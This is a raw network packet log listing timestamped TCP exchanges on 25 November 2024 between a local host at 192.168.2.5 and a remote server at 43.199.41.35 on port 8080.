Nov 25, 2024 11:10:19.143490076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.144299030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.144402027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.144454002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.145092010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.145235062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.145422935 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.146020889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.146137953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.146214962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.146883965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.147036076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.147109032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.147753954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.147855043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.147911072 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.148658991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.148777962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.148881912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.149542093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.149637938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.149715900 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.150413990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.198370934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.254544020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.254695892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.254779100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.255032063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.255151033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.255250931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.255892992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.255979061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.256079912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.256742001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.256854057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.256894112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.257646084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.257711887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.257793903 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.258506060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.258656979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.258709908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.259435892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.259448051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.259502888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.283454895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.283545017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.283601999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.283807993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.283988953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.284033060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.284077883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.284943104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.284993887 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.285007954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.285742998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.285810947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.285845041 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.286685944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.286763906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.286793947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.287533045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.287610054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.287652016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.288449049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.288501024 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.288628101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.289314032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.289346933 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.289412022 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.290213108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.290282011 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.290321112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.291085005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.291161060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.291172981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.311361074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.311427116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.311470985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.311671019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.311722040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.311773062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.312443972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.312517881 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.312583923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.313349009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.313385963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.313445091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.314202070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.314241886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.314281940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.315025091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.315083981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.315140963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.315949917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.316004038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.316045046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.316817999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.316855907 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.316926956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.317689896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.317787886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.317898989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.318581104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.318682909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.318751097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.319480896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.319538116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.319576025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.320354939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.320420027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.320456982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.321250916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.321295023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.321362972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.322161913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.322205067 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.322221994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.323019028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.323060989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.323136091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.323904991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.324013948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.324018002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.324780941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.324836969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.324878931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.325778008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.325845003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.325845957 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.326544046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.326615095 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.326656103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.327446938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.327507019 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.327577114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.328327894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.328402996 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.328432083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.329278946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.329338074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.329366922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.330159903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.330226898 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.330321074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.331094027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.331156015 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.331294060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.331938982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.332014084 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.332043886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.332757950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.332849979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.332879066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.333650112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.333681107 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.333796978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.334533930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.334600925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.334659100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.335561991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.335613966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.335680008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.336527109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.336585045 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.336595058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.337565899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.337611914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.337641001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.338282108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.338351965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.338396072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.339131117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.339175940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.339221001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.339838982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.339884043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.339950085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.340768099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.340811014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.340899944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.341633081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.341681957 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.341722965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.342555046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.342603922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.343054056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.446645975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.446718931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.446810007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.446970940 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.447163105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.447211981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.447253942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.448081017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.448118925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.448179007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.448976994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.448993921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.449026108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.449847937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.449906111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.449932098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.450726986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.450782061 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.450839043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.451618910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.451675892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.475868940 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.475970984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.476012945 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.476257086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.476377010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.476423979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.477144957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.477261066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.477305889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.478066921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.478092909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.478168011 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.478954077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.479043007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.479095936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.479773998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.479882956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.479965925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.480669022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.480779886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.480865002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.481559038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.481703997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.481753111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.482454062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.482671022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.482707977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.483354092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.483536005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.483594894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.503259897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.503359079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.503421068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.503676891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.503827095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.503875971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.504556894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.504667044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.504765987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.505513906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.505702972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.505759001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.505832911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.506577015 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.506623983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.506674051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.507518053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.507586002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.507642031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.508397102 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.508445978 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.508476973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.509262085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.509330988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.509335041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.510128021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.510185957 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.510248899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.511025906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.511070013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.511141062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.511936903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.511980057 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.512083054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.512849092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.512917995 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.512940884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.513686895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.513744116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.513806105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.514621973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.514678001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.514724970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.515476942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.515527964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.515559912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.516355038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.516391993 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.516457081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.517298937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.517333984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.517345905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.518112898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.518151999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.518220901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.519007921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.519051075 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.519090891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.519916058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.519954920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.520004034 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.520787954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.520884991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.520903111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.521665096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.521724939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.521780968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.522547960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.522600889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.522650957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.523418903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.523521900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.523571014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.524315119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.524353981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.524440050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.525232077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.525305033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.525319099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.526098967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.526206017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.526222944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.526981115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.527103901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.527137995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.527863026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.527929068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.527970076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.528718948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.528763056 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.528826952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.529649019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.529710054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.529721022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.530536890 CET	8080	49705	43.199.41.35	192.168.2.5
